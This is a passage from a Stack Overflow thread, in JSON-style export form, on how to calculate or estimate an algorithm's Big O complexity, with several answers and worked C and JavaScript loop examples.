search</p>\n\n<p>O(n<sup>n</sup>) - Often used instead of O(n!) to derive simpler formulas for asymptotic complexity</p>\n" }, { "answer_id": 119563, "author": "Martin", "author_id": 1529, "author_profile": "https://Stackoverflow.com/users/1529", "pm_score": 3, "selected": false, "text": "<p>Less useful generally, I think, but for the sake of completeness there is also a <a href=\"http://en.wikipedia.org/wiki/Big_O_notation#Family_of_Bachmann.E2.80.93Landau_notations\" rel=\"noreferrer\">Big Omega Ω</a>, which defines a lower-bound on an algorithm's complexity, and a <a href=\"http://en.wikipedia.org/wiki/Big_O_notation#Related_asymptotic_notations\" rel=\"noreferrer\">Big Theta Θ</a>, which defines both an upper and lower bound.</p>\n" }, { "answer_id": 202624, "author": "JB King", "author_id": 8745, "author_profile": "https://Stackoverflow.com/users/8745", "pm_score": 2, "selected": false, "text": "<p>Don't forget to also allow for space complexities that can also be a cause for concern if one has limited memory resources. So for example you may hear someone wanting a constant space algorithm which is basically a way of saying that the amount of space taken by the algorithm doesn't depend on any factors inside the code.</p>\n\n<p>Sometimes the complexity can come from how many times is something called, how often is a loop executed, how often is memory allocated, and so on is another part to answer this question.</p>\n\n<p>Lastly, big O can be used for worst case, best case, and amortization cases where generally it is the worst case that is used for describing how bad an algorithm may be.</p>\n" }, { "answer_id": 360825, "author": "John D. Cook", "author_id": 25188, "author_profile": "https://Stackoverflow.com/users/25188", "pm_score": 4, "selected": false, "text": "<p>If you want to estimate the order of your code empirically rather than by analyzing the code, you could stick in a series of increasing values of n and time your code. Plot your timings on a log scale. If the code is O(x^n), the values should fall on a line of slope n.</p>\n\n<p>This has several advantages over just studying the code. For one thing, you can see whether you're in the range where the run time approaches its asymptotic order. Also, you may find that some code that you thought was order O(x) is really order O(x^2), for example, because of time spent in library calls.</p>\n" }, { "answer_id": 630142, "author": "Mike Dunlavey", "author_id": 23771, "author_profile": "https://Stackoverflow.com/users/23771", "pm_score": 5, "selected": false, "text": "<p>I think about it in terms of information. Any problem consists of learning a certain number of bits.</p>\n\n<p>Your basic tool is the concept of decision points and their entropy. The entropy of a decision point is the average information it will give you. For example, if a program contains a decision point with two branches, it's entropy is the sum of the probability of each branch times the log<sub>2</sub> of the inverse probability of that branch. That's how much you learn by executing that decision.</p>\n\n<p>For example, an <code>if</code> statement having two branches, both equally likely, has an entropy of 1/2 * log(2/1) + 1/2 * log(2/1) = 1/2 * 1 + 1/2 * 1 = 1. So its entropy is 1 bit.</p>\n\n<p>Suppose you are searching a table of N items, like N=1024. That is a 10-bit problem because log(1024) = 10 bits. So if you can search it with IF statements that have equally likely outcomes, it should take 10 decisions.</p>\n\n<p>That's what you get with binary search.</p>\n\n<p>Suppose you are doing linear search. You look at the first element and ask if it's the one you want. The probabilities are 1/1024 that it is, and 1023/1024 that it isn't. The entropy of that decision is 1/1024*log(1024/1) + 1023/1024 * log(1024/1023) = 1/1024 * 10 + 1023/1024 * about 0 = about .01 bit. You've learned very little! The second decision isn't much better. That is why linear search is so slow. In fact it's exponential in the number of bits you need to learn.</p>\n\n<p>Suppose you are doing indexing. Suppose the table is pre-sorted into a lot of bins, and you use some of all of the bits in the key to index directly to the table entry. If there are 1024 bins, the entropy is 1/1024 * log(1024) + 1/1024 * log(1024) + ... for all 1024 possible outcomes. This is 1/1024 * 10 times 1024 outcomes, or 10 bits of entropy for that one indexing operation. That is why indexing search is fast.</p>\n\n<p>Now think about sorting. You have N items, and you have a list. For each item, you have to search for where the item goes in the list, and then add it to the list. So sorting takes roughly N times the number of steps of the underlying search.</p>\n\n<p>So sorts based on binary decisions having roughly equally likely outcomes all take about O(N log N) steps. An O(N) sort algorithm is possible if it is based on indexing search.</p>\n\n<p>I've found that nearly all algorithmic performance issues can be looked at in this way.</p>\n" }, { "answer_id": 630478, "author": "Baltimark", "author_id": 1179, "author_profile": "https://Stackoverflow.com/users/1179", "pm_score": 2, "selected": false, "text": "<p>What often gets overlooked is the <em>expected</em> behavior of your algorithms. <strong>It doesn't change the Big-O of your algorithm</strong>, but it does relate to the statement \"premature optimization. . ..\"</p>\n\n<p>Expected behavior of your algorithm is -- very dumbed down -- how fast you can expect your algorithm to work on data you're most likely to see. </p>\n\n<p>For instance, if you're searching for a value in a list, it's O(n), but if you know that most lists you see have your value up front, typical behavior of your algorithm is faster. </p>\n\n<p>To really nail it down, you need to be able to describe the probability distribution of your \"input space\" (if you need to sort a list, how often is that list already going to be sorted? how often is it totally reversed? how often is it mostly sorted?) It's not always feasible that you know that, but sometimes you do. </p>\n" }, { "answer_id": 630667, "author": "Suma", "author_id": 16673, "author_profile": "https://Stackoverflow.com/users/16673", "pm_score": 3, "selected": false, "text": "<p>As to \"how do you calculate\" Big O, this is part of <a href=\"http://en.wikipedia.org/wiki/Computational_complexity_theory\" rel=\"noreferrer\">Computational complexity theory</a>. For some (many) special cases you may be able to come with some simple heuristics (like multiplying loop counts for nested loops), esp. when all you want is any upper bound estimation, and you do not mind if it is too pessimistic - which I guess is probably what your question is about.</p>\n\n<p>If you really want to answer your question for any algorithm the best you can do is to apply the theory. Besides of simplistic \"worst case\" analysis I have found <a href=\"http://en.wikipedia.org/wiki/Amortized_analysis\" rel=\"noreferrer\">Amortized analysis</a> very useful in practice.</p>\n" }, { "answer_id": 4851387, "author": "Marcelo Cantos", "author_id": 9990, "author_profile": "https://Stackoverflow.com/users/9990", "pm_score": 5, "selected": false, "text": "<p>If your cost is a polynomial, just keep the highest-order term, without its multiplier. E.g.:</p>\n\n<blockquote>\n <p>O((n/2 + 1)*(n/2)) = O(n<sup>2</sup>/4 + n/2) = O(n<sup>2</sup>/4) = O(n<sup>2</sup>)</p>\n</blockquote>\n\n<p>This doesn't work for infinite series, mind you. There is no single recipe for the general case, though for some common cases, the following inequalities apply:</p>\n\n<blockquote>\n <p>O(log <em>N</em>) &lt; O(<em>N</em>) &lt; O(<em>N</em> log <em>N</em>) &lt; O(<em>N</em><sup>2</sup>) &lt; O(<em>N</em><sup>k</sup>) &lt; O(e<sup><em>n</em></sup>) &lt; O(<em>n</em>!)</p>\n</blockquote>\n" }, { "answer_id": 4852098, "author": "Emmanuel", "author_id": 579731, "author_profile": "https://Stackoverflow.com/users/579731", "pm_score": 3, "selected": false, "text": "<p>For the 1st case, the inner loop is executed <code>n-i</code> times, so the total number of executions is the sum for <code>i</code> going from <code>0</code> to <code>n-1</code> (because lower than, not lower than or equal) of the <code>n-i</code>. You get finally <code>n*(n + 1) / 2</code>, so <code>O(n²/2) = O(n²)</code>.</p>\n\n<p>For the 2nd loop, <code>i</code> is between <code>0</code> and <code>n</code> included for the outer loop; then the inner loop is executed when <code>j</code> is strictly greater than <code>n</code>, which is then impossible.</p>\n" }, { "answer_id": 4852666, "author": "vz0", "author_id": 209629, "author_profile": "https://Stackoverflow.com/users/209629", "pm_score": 12, "selected": true, "text": "<p>I'll do my best to explain it here on simple terms, but be warned that this topic takes my students a couple of months to finally grasp. You can find more information on the Chapter 2 of the <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321370139\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Data Structures and Algorithms in Java</a> book.</p>\n\n<hr>\n\n<p>There is no <a href=\"http://en.wikipedia.org/wiki/Halting_problem\" rel=\"noreferrer\">mechanical procedure</a> that can be used to get the BigOh.</p>\n\n<p>As a \"cookbook\", to obtain the <a href=\"http://en.wikipedia.org/wiki/Big_Oh_notation\" rel=\"noreferrer\">BigOh</a> from a piece of code you first need to realize that you are creating a math formula to count how many steps of computations get executed given an input of some size.</p>\n\n<p>The purpose is simple: to compare algorithms from a theoretical point of view, without the need to execute the code. The lesser the number of steps, the faster the algorithm.</p>\n\n<p>For example, let's say you have this piece of code:</p>\n\n<pre><code>int sum(int* data, int N) {\n int result = 0; // 1\n\n for (int i = 0; i &lt; N; i++) { // 2\n result += data[i]; // 3\n }\n\n return result; // 4\n}\n</code></pre>\n\n<p>This function returns the sum of all the elements of the array, and we want to create a formula to count the <a href=\"http://en.wikipedia.org/wiki/Computational_complexity_theory\" rel=\"noreferrer\">computational complexity</a> of that function:</p>\n\n<pre><code>Number_Of_Steps = f(N)\n</code></pre>\n\n<p>So we have <code>f(N)</code>, a function to count the number of computational steps. The input of the function is the size of the structure to process. It means that this function is called such as:</p>\n\n<pre><code>Number_Of_Steps = f(data.length)\n</code></pre>\n\n<p>The parameter <code>N</code> takes the <code>data.length</code> value. Now we need the actual definition of the function <code>f()</code>. This is done from the source code, in which each interesting line is numbered from 1 to 4.</p>\n\n<p>There are many ways to calculate the BigOh. From this point forward we are going to assume that every sentence that doesn't depend on the size of the input data takes a constant <code>C</code> number computational steps.</p>\n\n<p>We are going to add the individual number of steps of the function, and neither the local variable declaration nor the return statement depends on the size of the <code>data</code> array.</p>\n\n<p>That means that lines 1 and 4 takes C amount of steps each, and the function is somewhat like this:</p>\n\n<pre><code>f(N) = C + ??? + C\n</code></pre>\n\n<p>The next part is to define the value of the <code>for</code> statement. Remember that we are counting the number of computational steps, meaning that the body of the <code>for</code> statement gets executed <code>N</code> times. That's the same as adding <code>C</code>, <code>N</code> times:</p>\n\n<pre><code>f(N) = C + (C + C + ... + C) + C = C + N * C + C\n</code></pre>\n\n<p>There is no mechanical rule to count how many times the body of the <code>for</code> gets executed, you need to count it by looking at what does the code do. To simplify the calculations, we are ignoring the variable initialization, condition and increment parts of the <code>for</code> statement.</p>\n\n<p>To get the actual BigOh we need the <a href=\"http://en.wikipedia.org/wiki/Asymptotic_analysis\" rel=\"noreferrer\">Asymptotic analysis</a> of the function. This is roughly done like this:</p>\n\n<ol>\n<li>Take away all the constants <code>C</code>.</li>\n<li>From <code>f()</code> get the <a href=\"http://en.wikipedia.org/wiki/Polynomial\" rel=\"noreferrer\">polynomium</a> in its <code>standard form</code>.</li>\n<li>Divide the terms of the polynomium and sort them by the rate of growth.</li>\n<li>Keep the one that grows bigger when <code>N</code> approaches <code>infinity</code>.</li>\n</ol>\n\n<p>Our <code>f()</code> has two terms:</p>\n\n<pre><code>f(N) = 2 * C * N ^ 0 + 1 * C * N ^ 1\n</code></pre>\n\n<p>Taking away all the <code>C</code> constants and redundant parts:</p>\n\n<pre><code>f(N) = 1 + N ^ 1\n</code></pre>\n\n<p>Since the last term is the one which grows bigger when <code>f()</code> approaches infinity (think on <a href=\"http://en.wikipedia.org/wiki/Limit_%28mathematics%29\" rel=\"noreferrer\">limits</a>) this is the BigOh argument, and the <code>sum()</code> function has a BigOh of:</p>\n\n<pre><code>O(N)\n</code></pre>\n\n<hr>\n\n<p>There are a few tricks to solve some tricky ones: use <a href=\"http://en.wikipedia.org/wiki/Summation\" rel=\"noreferrer\">summations</a> whenever you can.</p>\n\n<p>As an example, this code can be easily solved using summations:</p>\n\n<pre><code>for (i = 0; i &lt; 2*n; i += 2) { // 1\n for (j=n; j &gt; i; j--) { // 2\n foo(); // 3\n }\n}\n</code></pre>\n\n<p>The first thing you needed to be asked is the order of execution of <code>foo()</code>. While the usual is to be <code>O(1)</code>, you need to ask your professors about it. <code>O(1)</code> means (almost, mostly) constant <code>C</code>, independent of the size <code>N</code>.</p>\n\n<p>The <code>for</code> statement on the sentence number one is tricky. While the index ends at <code>2 * N</code>, the increment is done by two. That means that the first <code>for</code> gets executed only <code>N</code> steps, and we need to divide the count by two.</p>\n\n<pre><code>f(N) = Summation(i from 1 to 2 * N / 2)( ... ) = \n = Summation(i from 1 to N)( ... )\n</code></pre>\n\n<p>The sentence number <em>two</em> is even trickier since it depends on the value of <code>i</code>. Take a look: the index i takes the values: 0, 2, 4, 6, 8, ..., 2 * N, and the second <code>for</code> get executed: N times the first one, N - 2 the second, N - 4 the third... up to the N / 2 stage, on which the second <code>for</code> never gets executed.</p>\n\n<p>On formula, that means:</p>\n\n<pre><code>f(N) = Summation(i from 1 to N)( Summation(j = ???)( ) )\n</code></pre>\n\n<p>Again, we are counting <strong>the number of steps</strong>. And by definition, every summation should always start at one, and end at a number bigger-or-equal than one.</p>\n\n<pre><code>f(N) = Summation(i from 1 to N)( Summation(j = 1 to (N - (i - 1) * 2)( C ) )\n</code></pre>\n\n<p>(We are assuming that <code>foo()</code> is <code>O(1)</code> and takes <code>C</code> steps.)</p>\n\n<p>We have a problem here: when <code>i</code> takes the value <code>N / 2 + 1</code> upwards, the inner Summation ends at a negative number! That's impossible and wrong. We need to split the summation in two, being the pivotal point the moment <code>i</code> takes <code>N / 2 + 1</code>.</p>\n\n<pre><code>f(N) = Summation(i from 1 to N / 2)( Summation(j = 1 to (N - (i - 1) * 2)) * ( C ) ) + Summation(i from 1 to N / 2) * ( C )\n</code></pre>\n\n<p>Since the pivotal moment <code>i &gt; N / 2</code>, the inner <code>for</code> won't get executed, and we are assuming a constant C execution complexity on its body.</p>\n\n<p>Now the summations can be simplified using some identity rules:</p>\n\n<ol>\n<li>Summation(w from 1 to N)( C ) = N * C</li>\n<li>Summation(w from 1 to N)( A (+/-) B ) = Summation(w from 1 to N)( A ) (+/-) Summation(w from 1 to N)( B )</li>\n<li>Summation(w from 1 to N)( w * C ) = C * Summation(w from 1 to N)( w ) (C is a constant, independent of <code>w</code>)</li>\n<li>Summation(w from 1 to N)( w ) = (N * (N + 1)) / 2</li>\n</ol>\n\n<p>Applying some algebra:</p>\n\n<pre><code>f(N) = Summation(i from 1 to N / 2)( (N - (i - 1) * 2) * ( C ) ) + (N / 2)( C )\n\nf(N) = C * Summation(i from 1 to N / 2)( (N - (i - 1) * 2)) + (N / 2)( C )\n\nf(N) = C * (Summation(i from 1 to N / 2)( N ) - Summation(i from 1 to N / 2)( (i - 1) * 2)) + (N / 2)( C )\n\nf(N) = C * (( N ^ 2 / 2 ) - 2 * Summation(i from 1 to N / 2)( i - 1 )) + (N / 2)( C )\n\n=&gt; Summation(i from 1 to N / 2)( i - 1 ) = Summation(i from 1 to N / 2 - 1)( i )\n\nf(N) = C * (( N ^ 2 / 2 ) - 2 * Summation(i from 1 to N / 2 - 1)( i )) + (N / 2)( C )\n\nf(N) = C * (( N ^ 2 / 2 ) - 2 * ( (N / 2 - 1) * (N / 2 - 1 + 1) / 2) ) + (N / 2)( C )\n\n=&gt; (N / 2 - 1) * (N / 2 - 1 + 1) / 2 = \n\n (N / 2 - 1) * (N / 2) / 2 = \n\n ((N ^ 2 / 4) - (N / 2)) / 2 = \n\n (N ^ 2 / 8) - (N / 4)\n\nf(N) = C * (( N ^ 2 / 2 ) - 2 * ( (N ^ 2 / 8) - (N / 4) )) + (N / 2)( C )\n\nf(N) = C * (( N ^ 2 / 2 ) - ( (N ^ 2 / 4) - (N / 2) )) + (N / 2)( C )\n\nf(N) = C * (( N ^ 2 / 2 ) - (N ^ 2 / 4) + (N / 2)) + (N / 2)( C )\n\nf(N) = C * ( N ^ 2 / 4 ) + C * (N / 2) + C * (N / 2)\n\nf(N) = C * ( N ^ 2 / 4 ) + 2 * C * (N / 2)\n\nf(N) = C * ( N ^ 2 / 4 ) + C * N\n\nf(N) = C * 1/4 * N ^ 2 + C * N\n</code></pre>\n\n<p>And the BigOh is:</p>\n\n<pre><code>O(N²)\n</code></pre>\n" }, { "answer_id": 4855527, "author": "laynece", "author_id": 534263, "author_profile": "https://Stackoverflow.com/users/534263", "pm_score": 2, "selected": false, "text": "<p>For code A, the outer loop will execute for <code>n+1</code> times, the '1' time means the process which checks the whether i still meets the requirement. And inner loop runs <code>n</code> times, <code>n-2</code> times.... Thus,<code>0+2+..+(n-2)+n= (0+n)(n+1)/2= O(n²)</code>.</p>\n\n<p>For code B, though inner loop wouldn't step in and execute the foo(), the inner loop will be executed for n times depend on outer loop execution time, which is O(n)</p>\n" }, { "answer_id": 16492899, "author": "Gavriel Feria", "author_id": 1928927, "author_profile": "https://Stackoverflow.com/users/1928927", "pm_score": 2, "selected": false, "text": "<p>I don't know how to programmatically solve this, but the first thing people do is that we sample the algorithm for certain patterns in the number of operations done, say 4n^2 + 2n + 1 we have 2 rules:</p>\n\n<ol>\n<li>If we have a sum of terms, the term with the largest growth rate is kept, with other terms omitted.\n<br></li>\n<li>If we have a product of several factors constant factors are omitted.</li>\n</ol>\n\n<p> If we simplify f(x), where f(x) is the formula for number of operations done, (4n^2 + 2n + 1 explained above), we obtain the big-O value [O(n^2) in this case]. But this would have to account for Lagrange interpolation in the program, which may be hard to implement. And what if the real big-O value was O(2^n), and we might have something like O(x^n), so this algorithm probably wouldn't be programmable. But if someone proves me wrong, give me the code . . . .</p>\n" }, { "answer_id": 21512377, "author": "ajknzhol", "author_id": 1112163, "author_profile": "https://Stackoverflow.com/users/1112163", "pm_score": 5, "selected": false, "text": "<p>Lets start from the beginning.</p>\n\n<p>First of all, accept the principle that certain simple operations on data can be done in <code>O(1)</code> time, that is, in time that is independent of the size of the input. These primitive operations in C consist of</p>\n\n<ol>\n<li>Arithmetic operations (e.g. + or %).</li>\n<li>Logical operations (e.g., &amp;&amp;).</li>\n<li>Comparison operations (e.g., &lt;=).</li>\n<li>Structure accessing operations (e.g. array-indexing like A[i], or pointer fol-\nlowing with the -> operator).</li>\n<li>Simple assignment such as copying a value into a variable.</li>\n<li>Calls to library functions (e.g., scanf, printf).</li>\n</ol>\n\n<p>The justification for this principle requires a detailed study of the machine instructions (primitive steps) of a typical computer. Each of the described operations can be done with some small number of machine instructions; often only one or two instructions are needed.\nAs a consequence, several kinds of statements in C can be executed in <code>O(1)</code> time, that is, in some constant amount of time independent of input. These simple include</p>\n\n<ol>\n<li>Assignment statements that do not involve function calls in their expressions.</li>\n<li>Read statements.</li>\n<li>Write statements that do not require function calls to evaluate arguments.</li>\n<li>The jump statements break, continue, goto, and return expression, where\nexpression does not contain a function call.</li>\n</ol>\n\n<p>In C, many for-loops are formed by initializing an index variable to some value and\nincrementing that variable by 1 each time around the loop. The for-loop ends when\nthe index reaches some limit. For instance, the for-loop </p>\n\n<pre><code>for (i = 0; i &lt; n-1; i++) \n{\n small = i;\n for (j = i+1; j &lt; n; j++)\n if (A[j] &lt; A[small])\n small = j;\n temp = A[small];\n A[small] = A[i];\n A[i] = temp;\n}\n</code></pre>\n\n<p>uses index variable i. It increments i by 1 each time around the loop, and the iterations\nstop when i reaches n − 1.</p>\n\n<p>However, for the moment, focus on the simple form of for-loop, where the <strong>difference between the final and initial values, divided by the amount by which the index variable is incremented tells us how many times we go around the loop</strong>. That count is exact, unless there are ways to exit the loop via a jump statement; it is an upper bound on the number of iterations in any case. </p>\n\n<p>For instance, the for-loop iterates <code>((n − 1) − 0)/1 = n − 1 times</code>,\nsince 0 is the initial value of i, n − 1 is the highest value reached by i (i.e., when i\nreaches n−1, the loop stops and no iteration occurs with i = n−1), and 1 is added\nto i at each iteration of the loop.</p>\n\n<p>In the simplest case, where the time spent in the loop body is the same for each\niteration, <strong>we can multiply the big-oh upper bound for the body by the number of\ntimes around the loop</strong>. Strictly speaking, we must then <strong>add O(1) time to initialize\nthe loop index and O(1) time for the first comparison of the loop index with the\nlimit</strong>, because we test one more time than we go around the loop. However, unless\nit is possible to execute the loop zero times, the time to initialize the loop and test\nthe limit once is a low-order term that can be dropped by the summation rule.</p>\n\n<hr>\n\n<p>Now consider this example:</p>\n\n<pre><code>(1) for (j = 0; j &lt; n; j++)\n(2) A[i][j] = 0;\n</code></pre>\n\n<p>We know that <strong>line (1)</strong> takes <code>O(1)</code> time. Clearly, we go around the loop n times, as\nwe can determine by subtracting the lower limit from the upper limit found on line\n(1) and then adding 1. Since the body, line (2), takes O(1) time, we can neglect the\ntime to increment j and the time to compare j with n, both of which are also O(1).\nThus, the running time of lines (1) and (2) is the <strong>product of n and O(1)</strong>, which is <code>O(n)</code>.</p>\n\n<p>Similarly, we can bound the running time of the outer loop consisting of lines\n(2) through (4), which is</p>\n\n<pre><code>(2) for (i = 0; i &lt; n; i++)\n(3) for (j = 0; j &lt; n; j++)\n(4) A[i][j] = 0;\n</code></pre>\n\n<p>We have already established that the loop of lines (3) and (4) takes O(n) time.\nThus, we can neglect the O(1) time to increment i and to test whether i &lt; n in\neach iteration, concluding that each iteration of the outer loop takes O(n) time.</p>\n\n<p>The initialization i = 0 of the outer loop and the (n + 1)st test of the condition\ni &lt; n likewise take O(1) time and can be neglected. Finally, we observe that we go\naround the outer loop n times, taking O(n) time for each iteration, giving a total\n<code>O(n^2)</code> running time.</p>\n\n<hr>\n\n<p>A more practical example.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ceoAc.png\" alt=\"enter image description here\"></p>\n" }, { "answer_id": 39050630, "author": "Samie Bencherif", "author_id": 1727470, "author_profile": "https://Stackoverflow.com/users/1727470", "pm_score": 2, "selected": false, "text": "<p>great question!</p>\n\n<p><strong>Disclaimer: this answer contains false statements see the comments below.</strong></p>\n\n<p>If you're using the Big O, you're talking about the worse case (more on what that means later). Additionally, there is capital theta for average case and a big omega for best case.</p>\n\n<p>Check out this site for a lovely formal definition of Big O: <a href=\"https://xlinux.nist.gov/dads/HTML/bigOnotation.html\" rel=\"nofollow noreferrer\">https://xlinux.nist.gov/dads/HTML/bigOnotation.html</a></p>\n\n<blockquote>\n <p>f(n) = O(g(n)) means there are positive constants c and k, such that 0 ≤ f(n) ≤ cg(n) for all n ≥ k. The values of c and k must be fixed for the function f and must not depend on n. </p>\n</blockquote>\n\n<hr>\n\n<p>Ok, so now what do we mean by \"best-case\" and \"worst-case\" complexities?</p>\n\n<p>This is probably most clearly illustrated through examples. For example if we are using linear search to find a number in a sorted array then the <strong>worst case</strong> is when we decide to <strong>search for the last element</strong> of the array as this would take as many steps as there are items in the array. The <strong>best case</strong> would be when we search for the <strong>first element</strong> since we would be done after the first check.</p>\n\n<p>The point of all these <em>adjective</em>-case complexities is that we're looking for a way to graph the amount of time a hypothetical program runs to completion in terms of the size of particular variables. However for many algorithms you can argue that there is not a single time for a particular size of input. Notice that this contradicts with the fundamental requirement of a function, any input should have no more than one output. So we come up with <em>multiple</em> functions to describe an algorithm's complexity. Now, even though searching an array of size n may take varying amounts of time depending on what you're looking for in the array and depending proportionally to n, we can create an informative description of the algorithm using best-case, average-case, and worst-case classes.</p>\n\n<p>Sorry this is so poorly written and lacks much technical information. But hopefully it'll make time complexity classes easier to think about. Once you become comfortable with these it becomes a simple matter of parsing through your program and looking for things like for-loops that depend on array sizes and reasoning based on your data structures what kind of input would result in trivial cases and what input would result in worst-cases.</p>\n" }, { "answer_id": 54784424, "author": "HmT", "author_id": 8633895, "author_profile": "https://Stackoverflow.com/users/8633895", "pm_score": 3, "selected": false, "text": "<p>I would like to explain the Big-O in a little bit different aspect.</p>\n\n<p>Big-O is just to compare the complexity of the programs which means how fast are they growing when the inputs are increasing and not the exact time which is spend to do the action.</p>\n\n<p>IMHO in the big-O formulas you better not to use more complex equations (you might just stick to the ones in the following graph.) However you still might use other more precise formula (like 3^n, n^3, ...) but more than that can be sometimes misleading! So better to keep it as simple as possible.</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZEmZ6.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ZEmZ6.png\" alt=\"enter image description here\"></a></p>\n\n<p>I would like to emphasize once again that here we don't want to get an exact formula for our algorithm. We only want to show how it grows when the inputs are growing and compare with the other algorithms in that sense. Otherwise you would better use different methods like bench-marking.</p>\n" }, { "answer_id": 68223915, "author": "Top-Master", "author_id": 8740349, "author_profile": "https://Stackoverflow.com/users/8740349", "pm_score": 2, "selected": false, "text": "<p>First of all, the accepted answer is trying to explain nice fancy stuff, <br>\nbut I think, <em>intentionally</em> complicating Big-Oh is not the solution,<br>\nwhich programmers (or at least, people like me) search for.</p>\n<h2>Big Oh (in short)</h2>\n<pre class=\"lang-js prettyprint-override\"><code>function f(text) {\n var n = text.length;\n for (var i = 0; i &lt; n; i++) {\n f(text.slice(0, n-1))\n }\n // ... other JS logic here, which we can ignore ...\n}\n</code></pre>\n<p>Big Oh of above is f(n) = <strong>O(n!)</strong> where <strong>n</strong> represents <code>number</code> of items in input set,\nand <strong>f</strong> represents <code>operation</code> done per item.</p>\n<hr />\n<p>Big-Oh notation is the asymptotic upper-bound of the complexity of an algorithm.<br>\nIn programming: The assumed worst-case time taken,<br>\nor assumed maximum repeat count of logic, for size of the input.</p>\n<h2>Calculation</h2>\n<p>Keep in mind (from above meaning) that; We just need <strong>worst-case time</strong> and/or <strong>maximum repeat count</strong> affected by <strong>N</strong> (size of input),<br>\nThen take another look at (accepted answer's) example:</p>\n<pre class=\"lang-c prettyprint-override\"><code>for (i = 0; i &lt; 2*n; i += 2) { // line 123\n for (j=n; j &gt; i; j--) { // line 124\n foo(); // line 125\n }\n}\n</code></pre>\n<ol>\n<li><p>Begin with this search-pattern:</p>\n<ul>\n<li>Find first line that <strong>N</strong> caused repeat behavior,</li>\n<li>Or caused increase of logic executed,</li>\n<li>But constant or not, ignore anything before that line.</li>\n</ul>\n</li>\n<li><p>Seems line hundred-twenty-three is what we are searching ;-)</p>\n<ul>\n<li>On first sight, line seems to have <code>2*n</code> max-looping.</li>\n<li>But looking again, we see <code>i += 2</code> (and that half is skipped).</li>\n<li>So, max repeat is simply <strong>n</strong>, write it down, like <code>f(n) = O( n </code> but don't close parenthesis yet.</li>\n</ul>\n</li>\n<li><p>Repeat search till method's end, and find next line matching our search-pattern, here that's line 124</p>\n<ul>\n<li>Which is tricky, because strange condition, and reverse looping.</li>\n<li>But after remembering that we just need to consider maximum repeat count (or worst-case time taken).</li>\n<li>It's as easy as saying &quot;Reverse-Loop <code>j</code> starts with <code>j=n</code>, am I right? yes, <strong>n</strong> seems to be maximum possible repeat count&quot;, so:\n<ul>\n<li>Add <code>n</code> to previous write down's end,</li>\n<li>but like &quot;<code>( n </code>&quot; instead of &quot;<code>+ n</code>&quot; (as this is inside previous loop),</li>\n<li>and close parenthesis only if we find something outside of previous loop.</li>\n</ul>\n</li>\n</ul>\n</li>\n</ol>\n<p>Search Done! why? because line 125 (or any other line after) does not match our search-pattern.<br>\nWe can now close any parenthesis (left-open in our write down), resulting in below:</p>\n<pre><code>f(n) = O( n( n ) )\n</code></pre>\n<p>Try to further shorten &quot;<code>n( n )</code>&quot; part, like:</p>\n<ul>\n<li><strong>n( n ) = n * n</strong></li>\n<li><strong>= n<sup>2</sup></strong></li>\n<li>Finally, just wrap it with Big Oh notation, like <strong>O(n<sup>2</sup>)</strong> or O(n^2) without formatting.</li>\n</ul>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3255", "https://Stackoverflow.com", "https://Stackoverflow.com/users/46/" ]
Most people with a degree in CS will certainly know what [Big O stands for](http://www.nist.gov/dads/HTML/bigOnotation.html). It helps us to measure how well an algorithm scales. But I'm curious, how do *you* calculate or approximate the complexity of your algorithms?
I'll do my best to explain it here on simple terms, but be warned that this topic takes my students a couple of months to finally grasp. You can find more information on the Chapter 2 of the [Data Structures and Algorithms in Java](https://rads.stackoverflow.com/amzn/click/com/0321370139) book. --- There is no [mechanical procedure](http://en.wikipedia.org/wiki/Halting_problem) that can be used to get the BigOh. As a "cookbook", to obtain the [BigOh](http://en.wikipedia.org/wiki/Big_Oh_notation) from a piece of code you first need to realize that you are creating a math formula to count how many steps of computations get executed given an input of some size. The purpose is simple: to compare algorithms from a theoretical point of view, without the need to execute the code. The lesser the number of steps, the faster the algorithm. For example, let's say you have this piece of code: ``` int sum(int* data, int N) { int result = 0; // 1 for (int i = 0; i < N; i++) { // 2 result += data[i]; // 3 } return result; // 4 } ``` This function returns the sum of all the elements of the array, and we want to create a formula to count the [computational complexity](http://en.wikipedia.org/wiki/Computational_complexity_theory) of that function: ``` Number_Of_Steps = f(N) ``` So we have `f(N)`, a function to count the number of computational steps. The input of the function is the size of the structure to process. It means that this function is called such as: ``` Number_Of_Steps = f(data.length) ``` The parameter `N` takes the `data.length` value. Now we need the actual definition of the function `f()`. This is done from the source code, in which each interesting line is numbered from 1 to 4. There are many ways to calculate the BigOh. From this point forward we are going to assume that every sentence that doesn't depend on the size of the input data takes a constant `C` number computational steps. We are going to add the individual number of steps of the function, and neither the local variable declaration nor the return statement depends on the size of the `data` array. That means that lines 1 and 4 takes C amount of steps each, and the function is somewhat like this: ``` f(N) = C + ??? + C ``` The next part is to define the value of the `for` statement. Remember that we are counting the number of computational steps, meaning that the body of the `for` statement gets executed `N` times. That's the same as adding `C`, `N` times: ``` f(N) = C + (C + C + ... + C) + C = C + N * C + C ``` There is no mechanical rule to count how many times the body of the `for` gets executed, you need to count it by looking at what does the code do. To simplify the calculations, we are ignoring the variable initialization, condition and increment parts of the `for` statement. To get the actual BigOh we need the [Asymptotic analysis](http://en.wikipedia.org/wiki/Asymptotic_analysis) of the function. This is roughly done like this: 1. Take away all the constants `C`. 2. From `f()` get the [polynomium](http://en.wikipedia.org/wiki/Polynomial) in its `standard form`. 3. Divide the terms of the polynomium and sort them by the rate of growth. 4. Keep the one that grows bigger when `N` approaches `infinity`. Our `f()` has two terms: ``` f(N) = 2 * C * N ^ 0 + 1 * C * N ^ 1 ``` Taking away all the `C` constants and redundant parts: ``` f(N) = 1 + N ^ 1 ``` Since the last term is the one which grows bigger when `f()` approaches infinity (think on [limits](http://en.wikipedia.org/wiki/Limit_%28mathematics%29)) this is the BigOh argument, and the `sum()` function has a BigOh of: ``` O(N) ``` --- There are a few tricks to solve some tricky ones: use [summations](http://en.wikipedia.org/wiki/Summation) whenever you can. As an example, this code can be easily solved using summations: ``` for (i = 0; i < 2*n; i += 2) { // 1 for (j=n; j > i; j--) { // 2 foo(); // 3 } } ``` The first thing you needed to be asked is the order of execution of `foo()`. While the usual is to be `O(1)`, you need to ask your professors about it. `O(1)` means (almost, mostly) constant `C`, independent of the size `N`. The `for` statement on the sentence number one is tricky. While the index ends at `2 * N`, the increment is done by two. That means that the first `for` gets executed only `N` steps, and we need to divide the count by two. ``` f(N) = Summation(i from 1 to 2 * N / 